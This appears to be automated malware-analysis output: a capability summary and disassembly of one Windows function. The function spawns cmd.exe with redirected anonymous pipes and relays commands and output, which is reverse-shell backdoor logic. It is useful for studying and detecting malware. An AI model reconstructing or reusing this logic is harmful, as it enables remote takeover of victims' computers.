Function at 0x402b8a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test byte [0x41b85c], 1
push ebx
push esi
push edi
mov ebx, 0x41b800
jne 0x402bbf
or byte [0x41b85c], 1
xor esi, esi
push esi
mov ecx, ebx
call fcn.00402010
push 0x402f89
call fcn.00413e72
pop ecx
jmp 0x402bc1
xor esi, esi
test byte [0x41b85c], 2
jne 0x402bef
or byte [0x41b85c], 2
lea eax, [ebp - 1]
mov edi, 0x41b848
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push 0x402f7e
call fcn.00413e72
pop ecx
jmp 0x402bf4
mov edi, 0x41b848
lea eax, [ebp - 1]
lea ecx, [ebp - 0x28]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
or dword [ebp - 0x10], 0xffffffff
cmp byte [0x41b888], 0
mov dword [ebp - 0xc], esi
jne 0x402d86
push str.cmd.exe
push 0x41b860
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x402d79
push 0x415778
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
mov ecx, edi
call dword [0x4152c8]
push 0x415774
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push 0x41b7f0
push 0x41b870
push 0x41b7a0
mov dword [0x41b7f0], 0xc
mov dword [0x41b7f8], 1
mov dword [0x41b7f4], esi
call edi
test eax, eax
je 0x402e2c
push esi
push 0x41b7f0
push 0x41b874
push 0x41b858
call edi
test eax, eax
je 0x402e2c
push 0x11
mov edx, 0x41b7a8
pop ecx
xor eax, eax
mov edi, edx
push 0x41b878
rep stosd dword es:[edi], eax
mov eax, dword [0x41b7a0]
push edx
mov dword [0x41b7e0], eax
mov eax, dword [0x41b874]
mov ecx, 0x41b848
mov dword [0x41b7a8], 0x44
mov dword [0x41b7d4], 0x101
mov word [0x41b7d8], si
mov dword [0x41b7e4], eax
mov dword [0x41b7e8], eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
push esi
push 1
mov edi, 0x41b860
push esi
push esi
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
push 0x415664
mov ecx, edi
mov byte [0x41b888], al
call dword [0x4152c8]
mov ecx, ebx
mov byte [0x41b889], 1
call fcn.00402038
sub esp, 0x10
mov esi, 0x41b320
mov edi, esp
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.0040209b
sub esp, 0x10
lea eax, [ebp + 8]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x93
mov ecx, ebx
call fcn.004020c2
push 0x12c
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp byte [0x41b888], 0
je 0x402f3f
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push esi
push esi
push dword [0x41b858]
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x14], esi
jbe 0x402e77
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push esi
push eax
push dword [ebp - 0x14]
push edi
push dword [0x41b858]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x18], esi
jbe 0x402e6d
cmp dword [ebp - 0xc], esi
jbe 0x402e33
push dword [ebp - 0xc]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x402e33
lea eax, [ebp - 1]
lea ecx, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x38]
push dword [ebp - 0xc]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.004020c2
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x38]
jmp 0x402e67
xor bl, bl
jmp 0x402f65
lea eax, [ebp - 3]
lea ecx, [ebp - 0x48]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 4]
mov ecx, esp
push eax
lea eax, [ebp - 0x48]
push dword [ebp - 0x18]
push esi
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.004020c2
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x402e97
sub esp, 0x10
lea eax, [ebp - 5]
mov ecx, esp
push eax
push 0x415664
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.004020c2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402ea4
and byte [0x41b889], 0
mov edi, 0x41b860
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
test eax, eax
jbe 0x402f02
push 0x415770
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0x41b860
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [ebp - 0xc]
push esi
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push dword [0x41b870]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x415664
mov ecx, edi
call dword [0x4152c8]
jmp 0x402f05
mov dword [ebp - 0xc], esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x41b889], 0
jne 0x402d86
push esi
push dword [0x41b878]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x41b87c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x41b878]
call esi
jmp 0x402f45
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call fcn.004020f4
push dword [0x41b858]
call esi
push dword [0x41b874]
call esi
and byte [0x41b888], 0
mov bl, 1
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret